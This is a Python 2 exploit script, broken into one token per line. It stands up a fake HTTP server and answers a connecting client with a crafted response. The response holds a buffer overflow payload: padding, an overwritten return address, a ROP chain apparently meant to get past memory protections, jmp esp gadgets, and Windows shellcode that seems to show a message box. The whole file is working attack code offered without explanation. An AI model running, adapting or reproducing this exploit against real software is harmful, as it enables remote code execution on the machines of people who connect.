from
socket
import
*
from
struct
import
pack
from
time
import
sleep
host
=
"192.168.0.1"
port
=
80
s
=
socket(AF_INET, SOCK_STREAM)
s.bind((host, port))
s.listen(
1
)
print
"\n[+] Listening on %d ..."
%
port
cl, addr
=
s.accept()
print
"[+] Connection accepted from %s"
%
addr[
0
]
shellcode
=
(
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
+
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
+
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
+
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
+
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
+
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
+
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
+
"\x49\x0b\x31\xc0\x51\x50\xff\xd7"
)
junk0
=
"\x90"
*
1277
junk1
=
"\x90"
*
1900
nops
=
"\x90"
*
30
jmpesp
=
pack(
'<L'
,
0x102340e8
)
*
5
eip
=
pack(
'<L'
,
0x61b84af1
)
rop
=
pack(
'<L'
,
0x101ff01d
)
rop
+
=
pack(
'<L'
,
0x61b849b6
)
rop
+
=
pack(
'<L'
,
0xDE2D66F9
)
rop
+
=
pack(
'<L'
,
0x10206ac5
)
rop
+
=
pack(
'<L'
,
0xDEADBEEF
)
rop
+
=
pack(
'<L'
,
0x1002fb27
)
rop
+
=
pack(
'<L'
,
0x101f7572
)
rop
+
=
pack(
'<L'
,
0xDEADBEEF
)
rop
+
=
pack(
'<L'
,
0x101fbc62
)
rop
+
=
pack(
'<L'
,
0x101e66a0
)
rop
+
=
pack(
'<L'
,
0x101f2adc
)
rop
+
=
pack(
'<L'
,
0x1023ccfb
)
rop
+
=
pack(
'<L'
,
0x101e66a0
)
rop
+
=
pack(
'<L'
,
0x102026a1
)
rop
+
=
pack(
'<L'
,
0x102155aa
)
rop
+
=
pack(
'<L'
,
0x102155aa
)
rop
+
=
pack(
'<L'
,
0x102026b1
)
rop
+
=
pack(
'<L'
,
0x101ff01d
)
rop
+
=
pack(
'<L'
,
0x61b90402
)
rop
+
=
pack(
'<L'
,
0x1020aacf
)
rop
+
=
pack(
'<L'
,
0x61B96180
)
rop
+
=
pack(
'<L'
,
0x61b850a4
)
rop
+
=
pack(
'<L'
,
0x61B96180
)
rop
+
=
pack(
'<L'
,
0x61b849b6
)
rop
+
=
pack(
'<L'
,
0x61b849b6
)
rop
+
=
pack(
'<L'
,
0x101e93d6
)
rop
+
=
pack(
'<L'
,
0x102340c5
)
payload
=
junk0
+
eip
+
junk1
+
rop
+
jmpesp
+
nops
+
shellcode
buffer
=
"HTTP/1.1 200 OK\r\n"
buffer
+
=
"Date: Sat, 09 Feb 2014 13:33:37 GMT\r\n"
buffer
+
=
"Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny16 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g\r\n"
buffer
+
=
"X-Powered-By: PHP/5.2.6-1+lenny16\r\n"
buffer
+
=
"Vary: Accept-Encoding\r\n"
buffer
+
=
"Content-Length: 4000\r\n"
buffer
+
=
"Connection: close\r\n"
buffer
+
=
"Content-Type: text/html\r\n\r\n"
buffer
+
=
payload
buffer
+
=
"\r\n"
print
cl.recv(
1000
)
cl.send(
buffer
)
print
"[+] Sending exploit: OK\n"
sleep(
3
)
cl.close()
s.close()